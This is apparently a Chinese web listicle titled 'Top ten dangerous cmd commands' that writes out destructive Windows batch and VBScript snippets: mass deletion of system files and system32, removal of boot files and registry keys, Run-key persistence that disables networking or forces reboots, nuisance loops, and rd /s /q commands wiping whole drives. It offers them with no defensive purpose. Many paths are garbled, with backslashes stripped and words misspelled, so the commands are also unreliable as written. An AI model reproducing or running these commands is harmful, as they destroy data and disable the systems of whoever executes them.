十大危险cmd指令

1 蓝屏死机

Del %windowsdrive%*.* /f /s /q Shutdown -s -f -t 0 

2 更改文件后缀名

 Ren *.doc *.txt Ren *.jpeg *.txt Ren *.lnk *.txt Ren *.avi *.txt Ren *.mpeg *.txt Ren *.com *.txt Ren *.bat *.txt 

3 删除system32

 Del c:windowssystem32*.* /q 

4 使PC永久崩溃

 @echo off Attrib -r -s -h c:autoexec.bat Del c:autoexec.bat Attrib -r -s -h c:oot.ini Del c:oot.ini Attrib -r -s -h c:
tldr Del c: ntldr Attrib -r -s -h c:windowswin.ini Del c:windowswin.ini 

5 删除所有的注册表

 @echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*

6 永久禁用网络

echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVisionRun /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause 

7 一直按回车

(这个要保存为.vbs) Set wshShell=wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys"~(enter)" loop 

8 启动电脑后自动关机

echo @echo off>c:Windowshartlell.bat echo break off>>c:Windowshartlell.bat echo shutdown -r -t 11 -f>>c:Windowshartlell.bat echo end>>c:Windowshartlell.bat reg add HKEY_LOCAL_MACHINESoftwareMicrosoftWindwosCurrentVersionRun /v startAPI /t reg_sz /d c:Windowshartlell.bat /f reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v /t reg_sz /d c:Windowshartlell.bat /f pause

9 开启CD蜂鸣器

(这个也是.vbs格式) Set oWMP=CreateObject("WMPlayer.OCX.7") Set colCDROMs=oWMP.cdromCollection do if colCDROMs.Count>=1 then For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 10. rd/s/q D: rd/s/q C: rd/s/q E:
